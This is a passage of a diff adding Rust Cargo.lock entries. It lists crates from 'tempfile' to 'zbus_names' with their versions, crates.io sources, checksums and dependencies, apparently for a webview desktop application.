"tempfile" +version = "3.9.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "01ce4141aa927a6d1bd34a041795abd0db1cccba5d5f24b009f694bdf3a1f3fa" +dependencies = [ + "cfg-if", + "fastrand 2.0.1", + "redox_syscall", + "rustix 0.38.30", + "windows-sys 0.52.0", +] + +[[package]] +name = "tendril" +version = "0.4.3" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d24a120c5fc464a3458240ee02c299ebcb9d67b5249c8848b09d639dca8d7bb0" +dependencies = [ + "futf", + "mac", + "utf-8", +] + +[[package]] +name = "thin-slice" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8eaa81235c7058867fa8c0e7314f33dcce9c215f535d1913822a2b3f5e289f3c" + +[[package]] +name = "thiserror" +version = "1.0.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d54378c645627613241d077a3a79db965db602882668f9136ac42af9ecb730ad" +dependencies = [ + "thiserror-impl", +] + +[[package]] +name = "thiserror-impl" +version = "1.0.56" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fa0faa943b50f3db30a20aa7e265dbc66076993efed8463e8de414e5d06d3471" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "thread_local" +version = "1.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3fdd6f064ccff2d6567adcb3873ca630700f00b5ad3f060c25b5dcfd9a4ce152" +dependencies = [ + "cfg-if", + "once_cell", +] + +[[package]] +name = "tiff" +version = "0.9.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba1310fcea54c6a9a4fd1aad794ecc02c31682f6bfbecdf460bf19533eed1e3e" +dependencies = [ + "flate2", + "jpeg-decoder", + "weezl", +] + +[[package]] +name = "time" +version = "0.3.31" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f657ba42c3f86e7680e53c8cd3af8abbe56b5491790b46e22e19c0d57463583e" +dependencies = [ + "deranged", + "itoa 1.0.10", + "powerfmt", + "serde", + "time-core", + "time-macros", +] + +[[package]] +name = "time-core" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ef927ca75afb808a4d64dd374f00a2adf8d0fcff8e7b184af886c3c87ec4a3f3" + +[[package]] +name = "time-macros" +version = "0.2.16" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26197e33420244aeb70c3e8c78376ca46571bc4e701e4791c2cd9f57dcb3a43f" +dependencies = [ + "time-core", +] + +[[package]] +name = "tiny_http" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "389915df6413a2e74fb181895f933386023c71110878cd0825588928e64cdc82" +dependencies = [ + "ascii", + "chunked_transfer", + "httpdate", + "log", +] + +[[package]] +name = "tinyvec" +version = "1.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "87cc5ceb3875bb20c2890005a4e226a4651264a5c75edb2421b52861a0a0cb50" +dependencies = [ + "tinyvec_macros", +] + +[[package]] +name = "tinyvec_macros" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1f3ccbac311fea05f86f61904b462b55fb3df8837a366dfc601a0161d0532f20" + +[[package]] +name = "tokio" +version = "1.35.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c89b4efa943be685f629b149f53829423f8f5531ea21249408e8e2f8671ec104" +dependencies = [ + "backtrace", + "bytes", + "num_cpus", + "pin-project-lite", +] + +[[package]] +name = "toml" +version = "0.5.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f4f7f0dd8d50a853a531c426359045b1998f04219d88799810762cd4ad314234" +dependencies = [ + "serde", +] + +[[package]] +name = "toml" +version = "0.7.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dd79e69d3b627db300ff956027cc6c3798cef26d22526befdfcd12feeb6d2257" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit 0.19.15", +] + +[[package]] +name = "toml" +version = "0.8.8" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a1a195ec8c9da26928f773888e0742ca3ca1040c6cd859c919c9f59c1954ab35" +dependencies = [ + "serde", + "serde_spanned", + "toml_datetime", + "toml_edit 0.21.0", +] + +[[package]] +name = "toml_datetime" +version = "0.6.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3550f4e9685620ac18a50ed434eb3aec30db8ba93b0287467bca5826ea25baf1" +dependencies = [ + "serde", +] + +[[package]] +name = "toml_edit" +version = "0.19.15" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1b5bb770da30e5cbfde35a2d7b9b8a2c4b8ef89548a7a6aeab5c9a576e3e7421" +dependencies = [ + "indexmap 2.1.0", + "serde", + "serde_spanned", + "toml_datetime", + "winnow", +] + +[[package]] +name = "toml_edit" +version = "0.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d34d383cd00a163b4a5b85053df514d45bc330f6de7737edfe0a93311d1eaa03" +dependencies = [ + "indexmap 2.1.0", + "serde", + "serde_spanned", + "toml_datetime", + "winnow", +] + +[[package]] +name = "tracing" +version = "0.1.40" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c3523ab5a71916ccf420eebdf5521fcef02141234bbc0b8a49f2fdc4544364ef" +dependencies = [ + "pin-project-lite", + "tracing-attributes", + "tracing-core", +] + +[[package]] +name = "tracing-attributes" +version = "0.1.27" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "34704c8d6ebcbc939824180af020566b01a7c01f80641264eba0999f6c2b6be7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", +] + +[[package]] +name = "tracing-core" +version = "0.1.32" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c06d3da6113f116aaee68e4d601191614c9053067f9ab7f6edbcb161237daa54" +dependencies = [ + "once_cell", + "valuable", +] + +[[package]] +name = "tracing-log" +version = "0.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ee855f1f400bd0e5c02d150ae5de3840039a3f54b025156404e34c23c03f47c3" +dependencies = [ + "log", + "once_cell", + "tracing-core", +] + +[[package]] +name = "tracing-subscriber" +version = "0.3.18" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ad0f048c97dbd9faa9b7df56362b8ebcaa52adb06b498c050d2f4e32f90a7a8b" +dependencies = [ + "matchers", + "nu-ansi-term", + "once_cell", + "regex", + "sharded-slab", + "smallvec", + "thread_local", + "tracing", + "tracing-core", + "tracing-log", +] + +[[package]] +name = "treediff" +version = "4.0.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "52984d277bdf2a751072b5df30ec0377febdb02f7696d64c2d7d54630bac4303" +dependencies = [ + "serde_json", +] + +[[package]] +name = "typenum" +version = "1.17.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "42ff0bf0c66b8238c6f3b578df37d0b7848e55df8577b3f74f92a69acceeb825" + +[[package]] +name = "uds_windows" +version = "1.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "89daebc3e6fd160ac4aa9fc8b3bf71e1f74fbf92367ae71fb83a037e8bf164b9" +dependencies = [ + "memoffset 0.9.0", + "tempfile", + "winapi", +] + +[[package]] +name = "unicode-bidi" +version = "0.3.14" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6f2528f27a9eb2b21e69c95319b30bd0efd85d09c379741b0f78ea1d86be2416" + +[[package]] +name = "unicode-ident" +version = "1.0.12" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3354b9ac3fae1ff6755cb6db53683adb661634f67557942dea4facebec0fee4b" + +[[package]] +name = "unicode-normalization" +version = "0.1.22" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c5713f0fc4b5db668a2ac63cdb7bb4469d8c9fed047b1d0292cc7b0ce2ba921" +dependencies = [ + "tinyvec", +] + +[[package]] +name = "unicode-segmentation" +version = "1.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1dd624098567895118886609431a7c3b8f516e41d30e0643f03d94592a147e36" + +[[package]] +name = "url" +version = "2.5.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31e6302e3bb753d46e83516cae55ae196fc0c309407cf11ab35cc51a4c2a4633" +dependencies = [ + "form_urlencoded", + "idna", + "percent-encoding", + "serde", +] + +[[package]] +name = "utf-8" +version = "0.7.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "09cc8ee72d2a9becf2f2febe0205bbed8fc6615b7cb429ad062dc7b7ddd036a9" + +[[package]] +name = "uuid" +version = "1.6.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e395fcf16a7a3d8127ec99782007af141946b4795001f876d54fb0d55978560" +dependencies = [ + "getrandom 0.2.12", +] + +[[package]] +name = "valuable" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "830b7e5d4d90034032940e4ace0d9a9a057e7a45cd94e6c007832e39edb82f6d" + +[[package]] +name = "version-compare" +version = "0.0.11" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1c18c859eead79d8b95d09e4678566e8d70105c4e7b251f707a03df32442661b" + +[[package]] +name = "version-compare" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "579a42fc0b8e0c63b76519a339be31bed574929511fa53c1a3acae26eb258f29" + +[[package]] +name = "version_check" +version = "0.9.4" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "49874b5167b65d7193b8aba1567f5c7d93d001cafc34600cee003eda787e483f" + +[[package]] +name = "vswhom" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "be979b7f07507105799e854203b470ff7c78a1639e330a58f183b5fea574608b" +dependencies = [ + "libc", + "vswhom-sys", +] + +[[package]] +name = "vswhom-sys" +version = "0.1.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d3b17ae1f6c8a2b28506cd96d412eebf83b4a0ff2cbefeeb952f2f9dfa44ba18" +dependencies = [ + "cc", + "libc", +] + +[[package]] +name = "waker-fn" +version = "1.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f3c4517f54858c779bbcbf228f4fca63d121bf85fbecb2dc578cdf4a39395690" + +[[package]] +name = "walkdir" +version = "2.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "d71d857dc86794ca4c280d616f7da00d2dbfd8cd788846559a6813e6aa4b54ee" +dependencies = [ + "same-file", + "winapi-util", +] + +[[package]] +name = "wasi" +version = "0.9.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cccddf32554fecc6acb585f82a32a72e28b48f8c4c1883ddfeeeaa96f7d8e519" + +[[package]] +name = "wasi" +version = "0.11.0+wasi-snapshot-preview1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9c8d87e72b64a3b4db28d11ce29237c246188f4f51057d65a7eab63b7987e423" + +[[package]] +name = "wasm-bindgen" +version = "0.2.90" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1223296a201415c7fad14792dbefaace9bd52b62d33453ade1c5b5f07555406" +dependencies = [ + "cfg-if", + "wasm-bindgen-macro", +] + +[[package]] +name = "wasm-bindgen-backend" +version = "0.2.90" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fcdc935b63408d58a32f8cc9738a0bffd8f05cc7c002086c6ef20b7312ad9dcd" +dependencies = [ + "bumpalo", + "log", + "once_cell", + "proc-macro2", + "quote", + "syn 2.0.48", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-macro" +version = "0.2.90" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3e4c238561b2d428924c49815533a8b9121c664599558a5d9ec51f8a1740a999" +dependencies = [ + "quote", + "wasm-bindgen-macro-support", +] + +[[package]] +name = "wasm-bindgen-macro-support" +version = "0.2.90" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bae1abb6806dc1ad9e560ed242107c0f6c84335f1749dd4e8ddb012ebd5e25a7" +dependencies = [ + "proc-macro2", + "quote", + "syn 2.0.48", + "wasm-bindgen-backend", + "wasm-bindgen-shared", +] + +[[package]] +name = "wasm-bindgen-shared" +version = "0.2.90" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4d91413b1c31d7539ba5ef2451af3f0b833a005eb27a631cec32bc0635a8602b" + +[[package]] +name = "webkit2gtk" +version = "0.18.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b8f859735e4a452aeb28c6c56a852967a8a76c8eb1cc32dbf931ad28a13d6370" +dependencies = [ + "bitflags 1.3.2", + "cairo-rs", + "gdk", + "gdk-sys", + "gio", + "gio-sys", + "glib", + "glib-sys", + "gobject-sys", + "gtk", + "gtk-sys", + "javascriptcore-rs", + "libc", + "once_cell", + "soup2", + "webkit2gtk-sys", +] + +[[package]] +name = "webkit2gtk-sys" +version = "0.18.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "4d76ca6ecc47aeba01ec61e480139dda143796abcae6f83bcddf50d6b5b1dcf3" +dependencies = [ + "atk-sys", + "bitflags 1.3.2", + "cairo-sys-rs", + "gdk-pixbuf-sys", + "gdk-sys", + "gio-sys", + "glib-sys", + "gobject-sys", + "gtk-sys", + "javascriptcore-rs-sys", + "libc", + "pango-sys", + "pkg-config", + "soup2-sys", + "system-deps 6.2.0", +] + +[[package]] +name = "webview2-com" +version = "0.19.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b4a769c9f1a64a8734bde70caafac2b96cada12cd4aefa49196b3a386b8b4178" +dependencies = [ + "webview2-com-macros", + "webview2-com-sys", + "windows 0.39.0", + "windows-implement", +] + +[[package]] +name = "webview2-com-macros" +version = "0.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "eaebe196c01691db62e9e4ca52c5ef1e4fd837dcae27dae3ada599b5a8fd05ac" +dependencies = [ + "proc-macro2", + "quote", + "syn 1.0.109", +] + +[[package]] +name = "webview2-com-sys" +version = "0.19.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "aac48ef20ddf657755fdcda8dfed2a7b4fc7e4581acce6fe9b88c3d64f29dee7" +dependencies = [ + "regex", + "serde", + "serde_json", + "thiserror", + "windows 0.39.0", + "windows-bindgen", + "windows-metadata", +] + +[[package]] +name = "weezl" +version = "0.1.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9193164d4de03a926d909d3bc7c30543cecb35400c02114792c2cae20d5e2dbb" + +[[package]] +name = "winapi" +version = "0.3.9" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5c839a674fcd7a98952e593242ea400abe93992746761e38641405d28b00f419" +dependencies = [ + "winapi-i686-pc-windows-gnu", + "winapi-x86_64-pc-windows-gnu", +] + +[[package]] +name = "winapi-i686-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ac3b87c63620426dd9b991e5ce0329eff545bccbbb34f3be09ff6fb6ab51b7b6" + +[[package]] +name = "winapi-util" +version = "0.1.6" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f29e6f9198ba0d26b4c9f07dbe6f9ed633e1f3d5b8b414090084349e46a52596" +dependencies = [ + "winapi", +] + +[[package]] +name = "winapi-wsapoll" +version = "0.1.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44c17110f57155602a80dca10be03852116403c9ff3cd25b079d666f2aa3df6e" +dependencies = [ + "winapi", +] + +[[package]] +name = "winapi-x86_64-pc-windows-gnu" +version = "0.4.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "712e227841d057c1ee1cd2fb22fa7e5a5461ae8e48fa2ca79ec42cfc1931183f" + +[[package]] +name = "windows" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f1c4bd0a50ac6020f65184721f758dba47bb9fbc2133df715ec74a237b26794a" +dependencies = [ + "windows-implement", + "windows_aarch64_msvc 0.39.0", + "windows_i686_gnu 0.39.0", + "windows_i686_msvc 0.39.0", + "windows_x86_64_gnu 0.39.0", + "windows_x86_64_msvc 0.39.0", +] + +[[package]] +name = "windows" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e686886bc078bc1b0b600cac0147aadb815089b6e4da64016cbd754b6342700f" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-bindgen" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "68003dbd0e38abc0fb85b939240f4bce37c43a5981d3df37ccbaaa981b47cb41" +dependencies = [ + "windows-metadata", + "windows-tokens", +] + +[[package]] +name = "windows-core" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "33ab640c8d7e35bf8ba19b884ba838ceb4fba93a4e8c65a9059d08afcfc683d9" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] +name = "windows-implement" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ba01f98f509cb5dc05f4e5fc95e535f78260f15fea8fe1a8abdd08f774f1cee7" +dependencies = [ + "syn 1.0.109", + "windows-tokens", +] + +[[package]] +name = "windows-metadata" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9ee5e275231f07c6e240d14f34e1b635bf1faa1c76c57cfd59a5cdb9848e4278" + +[[package]] +name = "windows-sys" +version = "0.42.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5a3e1820f08b8513f676f7ab6c1f99ff312fb97b553d30ff4dd86f9f15728aa7" +dependencies = [ + "windows_aarch64_gnullvm 0.42.2", + "windows_aarch64_msvc 0.42.2", + "windows_i686_gnu 0.42.2", + "windows_i686_msvc 0.42.2", + "windows_x86_64_gnu 0.42.2", + "windows_x86_64_gnullvm 0.42.2", + "windows_x86_64_msvc 0.42.2", +] + +[[package]] +name = "windows-sys" +version = "0.48.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "677d2418bec65e3338edb076e806bc1ec15693c5d0104683f2efe857f61056a9" +dependencies = [ + "windows-targets 0.48.5", +] + +[[package]] +name = "windows-sys" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "282be5f36a8ce781fad8c8ae18fa3f9beff57ec1b52cb3de0789201425d9a33d" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] +name = "windows-targets" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9a2fa6e2155d7247be68c096456083145c183cbbbc2764150dda45a87197940c" +dependencies = [ + "windows_aarch64_gnullvm 0.48.5", + "windows_aarch64_msvc 0.48.5", + "windows_i686_gnu 0.48.5", + "windows_i686_msvc 0.48.5", + "windows_x86_64_gnu 0.48.5", + "windows_x86_64_gnullvm 0.48.5", + "windows_x86_64_msvc 0.48.5", +] + +[[package]] +name = "windows-targets" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8a18201040b24831fbb9e4eb208f8892e1f50a37feb53cc7ff887feb8f50e7cd" +dependencies = [ + "windows_aarch64_gnullvm 0.52.0", + "windows_aarch64_msvc 0.52.0", + "windows_i686_gnu 0.52.0", + "windows_i686_msvc 0.52.0", + "windows_x86_64_gnu 0.52.0", + "windows_x86_64_gnullvm 0.52.0", + "windows_x86_64_msvc 0.52.0", +] + +[[package]] +name = "windows-tokens" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "f838de2fe15fe6bac988e74b798f26499a8b21a9d97edec321e79b28d1d7f597" + +[[package]] +name = "windows-version" +version = "0.1.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "75aa004c988e080ad34aff5739c39d0312f4684699d6d71fc8a198d057b8b9b4" +dependencies = [ + "windows-targets 0.52.0", +] + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "597a5118570b68bc08d8d59125332c54f1ba9d9adeedeef5b99b02ba2b0698f8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2b38e32f0abccf9987a4e3079dfb67dcd799fb61361e53e2882c3cbaf0d905d8" + +[[package]] +name = "windows_aarch64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "cb7764e35d4db8a7921e09562a0304bf2f93e0a51bfccee0bd0bb0b666b015ea" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ec7711666096bd4096ffa835238905bb33fb87267910e154b18b44eaabb340f2" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "e08e8864a60f06ef0d0ff4ba04124db8b0fb3be5776a5cd47641e942e58c4d43" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dc35310971f3b2dbbf3f0690a219f40e2d9afcf64f9ab7cc1be722937c26b4bc" + +[[package]] +name = "windows_aarch64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "bbaa0368d4f1d2aaefc55b6fcfee13f41544ddf36801e793edbbfd7d7df075ef" + +[[package]] +name = "windows_i686_gnu" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "763fc57100a5f7042e3057e7e8d9bdd7860d330070251a73d003563a3bb49e1b" + +[[package]] +name = "windows_i686_gnu" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "c61d927d8da41da96a81f029489353e68739737d3beca43145c8afec9a31a84f" + +[[package]] +name = "windows_i686_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a75915e7def60c94dcef72200b9a8e58e5091744960da64ec734a6c6e9b3743e" + +[[package]] +name = "windows_i686_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "a28637cb1fa3560a16915793afb20081aba2c92ee8af57b4d5f28e4b3e7df313" + +[[package]] +name = "windows_i686_msvc" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "7bc7cbfe58828921e10a9f446fcaaf649204dcfe6c1ddd712c5eebae6bda1106" + +[[package]] +name = "windows_i686_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "44d840b6ec649f480a41c8d80f9c65108b92d89345dd94027bfe06ac444d1060" + +[[package]] +name = "windows_i686_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8f55c233f70c4b27f66c523580f78f1004e8b5a8b659e05a4eb49d4166cca406" + +[[package]] +name = "windows_i686_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ffe5e8e31046ce6230cc7215707b816e339ff4d4d67c65dffa206fd0f7aa7b9a" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6868c165637d653ae1e8dc4d82c25d4f97dd6605eaa8d784b5c6e0ab2a252b65" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "8de912b8b8feb55c064867cf047dda097f92d51efad5b491dfb98f6bbb70cb36" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "53d40abd2583d23e4718fddf1ebec84dbff8381c07cae67ff7768bbf19c6718e" + +[[package]] +name = "windows_x86_64_gnu" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "3d6fa32db2bc4a2f5abeacf2b69f7992cd09dca97498da74a151a3132c26befd" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "26d41b46a36d453748aedef1486d5c7a85db22e56aff34643984ea85514e94a3" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "0b7b52767868a23d5bab768e390dc5f5c55825b6d30b86c844ff2dc7414044cc" + +[[package]] +name = "windows_x86_64_gnullvm" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "1a657e1e9d3f514745a572a6846d3c7aa7dbe1658c056ed9c3344c4109a6949e" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.39.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "5e4d40883ae9cae962787ca76ba76390ffa29214667a111db9e0a1ad8377e809" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.42.2" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "9aec5da331524158c6d1a4ac0ab1541149c0b9505fde06423b02f5ef0106b9f0" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.48.5" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "ed94fce61571a4006852b7389a063ab983c02eb1bb37b47f8272ce92d06d9538" + +[[package]] +name = "windows_x86_64_msvc" +version = "0.52.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "dff9641d1cd4be8d1a070daf9e3773c5f67e78b4d9d42263020c057706765c04" + +[[package]] +name = "winnow" +version = "0.5.34" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b7cf47b659b318dccbd69cc4797a39ae128f533dce7902a1096044d1967b9c16" +dependencies = [ + "memchr", +] + +[[package]] +name = "winreg" +version = "0.10.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "80d0f4e272c85def139476380b12f9ac60926689dd2e01d4923222f40580869d" +dependencies = [ + "winapi", +] + +[[package]] +name = "winreg" +version = "0.51.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "937f3df7948156640f46aacef17a70db0de5917bda9c92b0f751f3a955b588fc" +dependencies = [ + "cfg-if", + "windows-sys 0.48.0", +] + +[[package]] +name = "wry" +version = "0.24.7" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "6ad85d0e067359e409fcb88903c3eac817c392e5d638258abfb3da5ad8ba6fc4" +dependencies = [ + "base64 0.13.1", + "block", + "cocoa", + "core-graphics", + "crossbeam-channel", + "dunce", + "gdk", + "gio", + "glib", + "gtk", + "html5ever", + "http 0.2.11", + "kuchikiki", + "libc", + "log", + "objc", + "objc_id", + "once_cell", + "serde", + "serde_json", + "sha2", + "soup2", + "tao", + "thiserror", + "url", + "webkit2gtk", + "webkit2gtk-sys", + "webview2-com", + "windows 0.39.0", + "windows-implement", +] + +[[package]] +name = "x11" +version = "2.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "502da5464ccd04011667b11c435cb992822c2c0dbde1770c988480d312a0db2e" +dependencies = [ + "libc", + "pkg-config", +] + +[[package]] +name = "x11-dl" +version = "2.21.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "38735924fedd5314a6e548792904ed8c6de6636285cb9fec04d5b1db85c1516f" +dependencies = [ + "libc", + "once_cell", + "pkg-config", +] + +[[package]] +name = "x11rb" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "b1641b26d4dec61337c35a1b1aaf9e3cba8f46f0b43636c609ab0291a648040a" +dependencies = [ + "gethostname", + "nix", + "winapi", + "winapi-wsapoll", + "x11rb-protocol", +] + +[[package]] +name = "x11rb-protocol" +version = "0.12.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "82d6c3f9a0fb6701fab8f6cea9b0c0bd5d6876f1f89f7fada07e558077c344bc" +dependencies = [ + "nix", +] + +[[package]] +name = "xattr" +version = "1.2.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "914566e6413e7fa959cc394fb30e563ba80f3541fbd40816d4c05a0fc3f2a0f1" +dependencies = [ + "libc", + "linux-raw-sys 0.4.12", + "rustix 0.38.30", +] + +[[package]] +name = "xdg-home" +version = "1.0.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "2769203cd13a0c6015d515be729c526d041e9cf2c0cc478d57faee85f40c6dcd" +dependencies = [ + "nix", + "winapi", +] + +[[package]] +name = "zbus" +version = "3.14.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "31de390a2d872e4cd04edd71b425e29853f786dc99317ed72d73d6fcf5ebb948" +dependencies = [ + "async-broadcast", + "async-executor", + "async-fs", + "async-io 1.13.0", + "async-lock 2.8.0", + "async-process", + "async-recursion", + "async-task", + "async-trait", + "blocking", + "byteorder", + "derivative", + "enumflags2", + "event-listener 2.5.3", + "futures-core", + "futures-sink", + "futures-util", + "hex", + "nix", + "once_cell", + "ordered-stream", + "rand 0.8.5", + "serde", + "serde_repr", + "sha1", + "static_assertions", + "tracing", + "uds_windows", + "winapi", + "xdg-home", + "zbus_macros", + "zbus_names", + "zvariant", +] + +[[package]] +name = "zbus_macros" +version = "3.14.1" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "41d1794a946878c0e807f55a397187c11fc7a038ba5d868e7db4f3bd7760bc9d" +dependencies = [ + "proc-macro-crate", + "proc-macro2", + "quote", + "regex", + "syn 1.0.109", + "zvariant_utils", +] + +[[package]] +name = "zbus_names" +version = "2.6.0" +source = "registry+https://github.com/rust-lang/crates.io-index" +checksum = "fb80bb776dbda6e23d705cf0123c3b95df99c4ebeaec6c2599d4a5419902b4a9" +dependencies = [ + 